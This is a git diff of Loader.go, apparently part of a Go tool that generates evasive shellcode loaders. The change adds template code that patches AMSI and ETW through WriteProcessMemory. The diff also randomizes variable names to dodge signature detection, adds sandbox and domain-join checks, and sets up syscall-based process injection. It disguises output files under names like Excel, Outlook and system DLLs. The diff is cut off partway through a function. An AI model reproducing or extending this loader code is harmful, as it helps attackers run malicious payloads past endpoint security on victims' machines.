diff --git a/Loader/Loader.go b/Loader/Loader.go
index 0a05785..5e784c7 100644
--- a/Loader/Loader.go
+++ b/Loader/Loader.go
@@ -37,6 +37,14 @@ type ETW struct {
Variables map[string]string
}
+type AMSI struct {
+ Variables map[string]string
+}
+
+type WriteProcessMemory struct {
+ Variables map[string]string
+}
+
type DLL struct {
Variables map[string]string
}
@@ -55,6 +63,9 @@ type HTALoader struct {
type Macro struct {
Variables map[string]string
}
+type Shellcode struct {
+ Variables map[string]string
+}
var (
buffer bytes.Buffer
@@ -67,7 +78,7 @@ func FileName(mode string) (string, string) {
dllname := []string{"apphelp", "bcryptprimitives", "cfgmgr32", "combase", "cryptsp", "dpapi", "sechost", "schannel", "urlmon", "win32u"}
cplname := []string{"appwizard", "bthprop", "desktop", "netfirewall", "FlashPlayer", "hardwarewiz", "inetcontrol", "control", "irprop", "game", "inputs", "mimosys", "ncp", "power", "speech", "system", "Tablet", "telephone", "datetime", "winsec"}
officename := []string{"Timesheet", "Reports", "Zoom", "Updates", "Calculator", "Calendar", "Memo", "Desk", "Appwiz"}
- Binaryname := []string{"Excel", "Word", "Outlook", "Powerpnt", "lync", "cmd", "OneDrive", "OneNote", "Notepad"}
+ Binaryname := []string{"Excel", "Word", "Outlook", "Powerpnt", "lync", "cmd", "OneDrive", "OneNote"}
if mode == "excel" {
name = officename[Cryptor.GenerateNumer(0, 9)]
@@ -78,7 +89,7 @@ func FileName(mode string) (string, string) {
filename = name + ".cpl"
}
if mode == "wscript" {
- name = wscript[Cryptor.GenerateNumer(0, 10)]
+ name = wscript[Cryptor.GenerateNumer(0, 9)]
filename = name + ".dll"
}
@@ -92,13 +103,13 @@ func FileName(mode string) (string, string) {
filename = name + ".dll"
}
if mode == "binary" {
- name = Binaryname[Cryptor.GenerateNumer(0, 9)]
+ name = Binaryname[Cryptor.GenerateNumer(0, 8)]
filename = name + ".exe"
}
return name, filename
}
-func ETW_Buff(b64number int, decode string) (string, string) {
+func ETW_Buff(b64number int, decode string, WriteProcessMemory string) (string, string) {
var buffer bytes.Buffer
ETW := &ETW{}
ETW.Variables = make(map[string]string)
@@ -107,13 +118,7 @@ func ETW_Buff(b64number int, decode string) (string, string) {
ETW.Variables["procEtwEventRegister"] = Cryptor.VarNumberLength(4, 9)
ETW.Variables["procEtwEventWriteFull"] = Cryptor.VarNumberLength(4, 9)
ETW.Variables["procEtwEventWrite"] = Cryptor.VarNumberLength(4, 9)
- ETW.Variables["errnoErr"] = Cryptor.VarNumberLength(4, 9)
- ETW.Variables["WriteProcessMemory"] = Cryptor.VarNumberLength(4, 9)
- ETW.Variables["hProcess"] = Cryptor.VarNumberLength(4, 9)
- ETW.Variables["lpBaseAddress"] = Cryptor.VarNumberLength(4, 9)
- ETW.Variables["lpBuffer"] = Cryptor.VarNumberLength(4, 9)
- ETW.Variables["nSize"] = Cryptor.VarNumberLength(4, 9)
- ETW.Variables["lpNumberOfBytesWritten"] = Cryptor.VarNumberLength(4, 9)
+ ETW.Variables["WriteProcessMemory"] = WriteProcessMemory
ETW.Variables["ETW"] = Cryptor.VarNumberLength(4, 9)
ETW.Variables["handle"] = Cryptor.VarNumberLength(4, 9)
ETW.Variables["dataAddr"] = Cryptor.VarNumberLength(4, 9)
@@ -141,7 +146,66 @@ func ETW_Buff(b64number int, decode string) (string, string) {
return buffer.String(), ETW.Variables["ETW"]
}
-func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, refresher bool, name string, sandbox bool, ETW bool, ProcessInjection string) string {
+func AMSI_Buff(WriteProcessMemory string) (string, string) {
+ var buffer bytes.Buffer
+ AMSI := &AMSI{}
+ AMSI.Variables = make(map[string]string)
+ AMSI.Variables["AMSI"] = Cryptor.VarNumberLength(4, 9)
+ AMSI.Variables["WriteProcessMemory"] = WriteProcessMemory
+ AMSI.Variables["handle"] = Cryptor.VarNumberLength(4, 9)
+ AMSI.Variables["addr"] = Cryptor.VarNumberLength(4, 9)
+ AMSI.Variables["ll"] = Cryptor.VarNumberLength(4, 9)
+ AMSI.Variables["data"] = Cryptor.VarNumberLength(4, 9)
+ AMSI.Variables["nLength"] = Cryptor.VarNumberLength(4, 9)
+ AMSI.Variables["datalength"] = Cryptor.VarNumberLength(4, 9)
+
+ buffer.Reset()
+ AMSITemplate, err := template.New("AMSI").Parse(Struct.AMSI_Function())
+ if err != nil {
+ log.Fatal(err)
+ }
+ buffer.Reset()
+ if err := AMSITemplate.Execute(&buffer, AMSI); err != nil {
+ log.Fatal(err)
+ }
+ return buffer.String(), AMSI.Variables["AMSI"]
+}
+
+func WriteProcessMemory_Buff(number string, b64number int) (string, string, string) {
+ var buffer bytes.Buffer
+ WriteProcessMemory := &WriteProcessMemory{}
+ WriteProcessMemory.Variables = make(map[string]string)
+ WriteProcessMemory.Variables["errnoERROR_IO_PENDING"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["errERROR_IO_PENDING"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["WriteProcessMemoryName"] = Utils.StringEncode("WriteProcessMemory", b64number)
+ WriteProcessMemory.Variables["decode"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["WriteProcessMemory"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["procWriteProcessMemory"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["errnoErr"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["hProcess"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["lpBaseAddress"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["lpBuffer"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["nSize"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["lpNumberOfBytesWritten"] = Cryptor.VarNumberLength(4, 9)
+
+ WriteProcessMemory.Variables["b64"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["sum"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["decoded"] = Cryptor.VarNumberLength(4, 9)
+ WriteProcessMemory.Variables["number"] = number
+
+ buffer.Reset()
+ WriteProcessMemoryTemplate, err := template.New("WriteProcessMemory").Parse(Struct.WriteProcessMemory_Function())
+ if err != nil {
+ log.Fatal(err)
+ }
+ buffer.Reset()
+ if err := WriteProcessMemoryTemplate.Execute(&buffer, WriteProcessMemory); err != nil {
+ log.Fatal(err)
+ }
+ return buffer.String(), WriteProcessMemory.Variables["decode"], WriteProcessMemory.Variables["WriteProcessMemory"]
+}
+
+func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, refresher bool, name string, sandbox bool, ETW bool, ProcessInjection string, AMSI bool) (string, string, string) {
var LoaderTemplate, DLLStructTemplate string
DLL := &DLL{}
DLL.Variables = make(map[string]string)
@@ -151,176 +215,133 @@ func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, ref
Sandbox_DomainJoined.Variables = make(map[string]string)
WindowsVersion := &WindowsVersion{}
WindowsVersion.Variables = make(map[string]string)
+ DLL.Variables["FuncName"] = Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["NTFuncName"] = Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["buff"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["alloc"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["phandle"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["baseA"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["zerob"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["alloctype"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["protect"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["regionsizep"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["regionsize"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["Versionfunc"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["k"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["Version"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["MV"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["MinV"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["customsyscall"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["syscallnumber"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["dll"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["error"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["x"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["file"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["loaddll"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["handle"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["dllBase"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["dllOffset"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["old"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["oldptrperms"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["ptr"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["shellcode"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["loader"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["DLLname"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["hexdata"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["Reloading"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["bytes"] = Cryptor.VarNumberLength(10, 19)
- DLL.Variables["fullciphertext"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["ciphertext"] = Utils.B64ripper(b64ciphertext, DLL.Variables["fullciphertext"], true)
- DLL.Variables["key"] = b64key
- DLL.Variables["iv"] = b64iv
- DLL.Variables["vkey"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["viv"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["block"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["decrypted"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["mode"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["vciphertext"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["rawdata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["stuff"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["raw_bin"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["hexdata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["PKCS5UnPadding"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["length"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["src"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["unpadding"] = Cryptor.VarNumberLength(4, 12)
+ DLL.Variables["customsyscallVP"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["runfunc"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["bytes"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["loc"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["dllOffset"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["mem"] = Cryptor.VarNumberLength(10, 19)
- DLL.Variables["ptr"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["buff"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["virtualAlloc"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["alloc"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["phandle"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["baseA"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["zerob"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["alloctype"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["protect"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["regionsizep"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["regionsize"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["WQRH"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["xx"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["yy"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["Versionfunc"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["k"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["Version"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["MV"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["MinV"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["customsyscall"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["customsyscallVP"] = Cryptor.VarNumberLength(4, 12)
-
- DLL.Variables["syscallnumber"] = Cryptor.VarNumberLength(4, 12)
-
- DLL.Variables["loc"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dll"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["error"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["x"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["file"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["loaddll"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["handle"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dllBase"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dllOffset"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["old"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["mem"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["oldptrperms"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["ptr"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["shellcode"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["oldshellcodeperms"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["loader"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["DLLname"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["hexdata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["VirtualProtect"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["procVirtualProtect"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["Reloading"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["bytes"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["getWin"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["showWin"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["hwnd"] = Cryptor.VarNumberLength(4, 12)
-
- DLL.Variables["oldfartcodeperms"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["regionsize"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["runfunc"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["handle"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["NewProtect"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["oldprotect"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["baseAddress"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["regionSize"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["processHandle"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["handlez"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["syscall"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["syscallnumber"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["NtProtectVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["sysid"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["bytesdata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["locdata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["xdata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dllBasedata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dllOffsetdata"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["memdata"] = Cryptor.VarNumberLength(4, 12)
-
- DLL.Variables["CreateProcess"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["GetModuleInformation"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["ReloadRemoteProcess"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["RemoteModuleReloading"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["Target"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["WriteProcessMemory"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["addr"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["buf"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["bytes"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["commandLine"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["data"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dll"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dllBase"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["dllOffset"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["err"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["file"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["funcNtAllocateVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["funcNtCreateThreadEx"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["funcNtProtectVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["funcNtWriteVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["hModule"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["hProcess"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["handle"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["handleSize"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["hh"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["lpBaseAddress"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["lpBuffer"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["lpNumberOfBytesWritten"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["mi"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["MI"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["mod"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["modules"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["module"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["nLength"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["nSize"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["name"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["needed"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["n"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["offsetaddr"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["oldProtect"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["outString"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["pi"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["procEnumProcessModules"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["EnumProcessModules"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["procGetModuleBaseName"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["GetModuleBaseName"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["procGetModuleInformation"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["procWriteProcessMemory"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["process"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["rawbytes"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["raw_bin"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["regionsize"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["s"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["shellcode"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["si"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["size"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["startupInfo"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["x"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["PROCESS_ALL_ACCESS"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["errnoERROR_IO_PENDING"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["errERROR_IO_PENDING"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["customsyscall"] = Cryptor.VarNumberLength(4, 12)
+ DLL.Variables["getWin"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["showWin"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["hwnd"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["oldfartcodeperms"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["baseAddress"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["processHandle"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["handlez"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["sysid"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["bytesdata"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["locdata"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["xdata"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["dllBasedata"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["dllOffsetdata"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["memdata"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["CreateProcess"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["GetModuleInformation"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["ReloadRemoteProcess"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["RemoteModuleReloading"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["Target"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["WriteProcessMemory"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["addr"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["buf"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["commandLine"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["data"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["err"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["funcNtAllocateVirtualMemory"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["funcNtCreateThreadEx"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["funcNtProtectVirtualMemory"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["funcNtWriteVirtualMemory"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["hModule"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["hProcess"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["handleSize"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["hh"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["lpBaseAddress"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["lpBuffer"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["lpNumberOfBytesWritten"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["mi"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["mod"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["modules"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["module"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["nLength"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["nSize"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["name"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["needed"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["n"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["offsetaddr"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["oldProtect"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["outString"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["pi"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["procEnumProcessModules"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["EnumProcessModules"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["procGetModuleBaseName"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["GetModuleBaseName"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["procGetModuleInformation"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["procWriteProcessMemory"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["process"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["rawbytes"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["raw_bin"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["s"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["si"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["size"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["startupInfo"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["PROCESS_ALL_ACCESS"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["errnoERROR_IO_PENDING"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["errERROR_IO_PENDING"] = Cryptor.VarNumberLength(10, 19)
b64number := Cryptor.GenerateNumer(3, 6)
DLL.Variables["b64number"] = strconv.Itoa(b64number)
- DLL.Variables["ntdll"] = Utils.StringEncode("C:\\Windows\\System32\\ntdll.dll", b64number)
- DLL.Variables["kernelbase"] = Utils.StringEncode("C:\\Windows\\System32\\kernelbase.dll", b64number)
- DLL.Variables["kernel32"] = Utils.StringEncode("C:\\Windows\\System32\\kernel32.dll", b64number)
+ DLL.Variables["errnoErr"] = Cryptor.VarNumberLength(4, 9)
+ DLL.Variables["WriteProcessMemoryName"] = Utils.StringEncode("WriteProcessMemory", b64number)
- DLL.Variables["decode"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["b64"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["decoded"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["number"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["sum"] = Cryptor.VarNumberLength(4, 12)
+ DLL.Variables["decode"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["b64"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["decoded"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["number"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["sum"] = Cryptor.VarNumberLength(10, 19)
+
+ DLL.Variables["MI"] = Cryptor.VarNumberLength(4, 9)
if sandbox == true {
- DLL.Variables["IsDomainJoined"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["domain"] = Cryptor.VarNumberLength(4, 12)
- DLL.Variables["status"] = Cryptor.VarNumberLength(4, 12)
+ DLL.Variables["SandboxOS"] = `"os"`
+ DLL.Variables["IsDomainJoined"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["domain"] = Cryptor.VarNumberLength(10, 19)
+ DLL.Variables["status"] = Cryptor.VarNumberLength(10, 19)
SandboxFunctionTemplate, err := template.New("Sandboxfunction").Parse(Struct.Sandbox())
if err != nil {
log.Fatal(err)
@@ -329,7 +350,7 @@ func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, ref
log.Fatal(err)
}
DLL.Variables["Sandboxfunction"] = buffer.String()
- DLL.Variables["checker"] = Cryptor.VarNumberLength(4, 12)
+ DLL.Variables["checker"] = Cryptor.VarNumberLength(10, 19)
Sandbox_DomainJoinedTemplate, err := template.New("Sandbox_DomainJoined").Parse(Struct.Sandbox_DomainJoined())
buffer.Reset()
if err != nil {
@@ -341,6 +362,7 @@ func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, ref
DLL.Variables["Sandbox"] = buffer.String()
buffer.Reset()
} else {
+ DLL.Variables["SandboxOS"] = ""
DLL.Variables["Sandbox"] = ""
DLL.Variables["Sandboxfunction"] = ""
DLL.Variables["SandboxImport"] = ""
@@ -350,28 +372,56 @@ func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, ref
WindowsVersion.Variables["syscall"] = DLL.Variables["syscall"]
WindowsVersion.Variables["customsyscall"] = DLL.Variables["customsyscall"]
WindowsVersion.Variables["customsyscallVP"] = DLL.Variables["customsyscallVP"]
-
buffer.Reset()
+
+ if (ETW == false || AMSI == false) || ProcessInjection != "" {
+ WriteProcessMemory_Function, decode, WriteProcessMemory := WriteProcessMemory_Buff(DLL.Variables["b64number"], b64number)
+ DLL.Variables["decode"] = decode
+ DLL.Variables["WriteProcessMemory_Function"] = WriteProcessMemory_Function
+ DLL.Variables["WriteProcessMemory"] = WriteProcessMemory
+ } else {
+ DLL.Variables["WriteProcessMemory_Function"] = ""
+ }
+
if ETW == false {
- ETW_Function, ETW := ETW_Buff(b64number, DLL.Variables["decode"])
+ ETW_Function, ETW := ETW_Buff(b64number, DLL.Variables["decode"], DLL.Variables["WriteProcessMemory"])
DLL.Variables["ETW"] = ETW + "()"
DLL.Variables["ETW_Function"] = ETW_Function
} else {
DLL.Variables["ETW"] = ""
DLL.Variables["ETW_Function"] = ""
}
+ if AMSI == false {
+ AMSI_Function, AMSI := AMSI_Buff(DLL.Variables["WriteProcessMemory"])
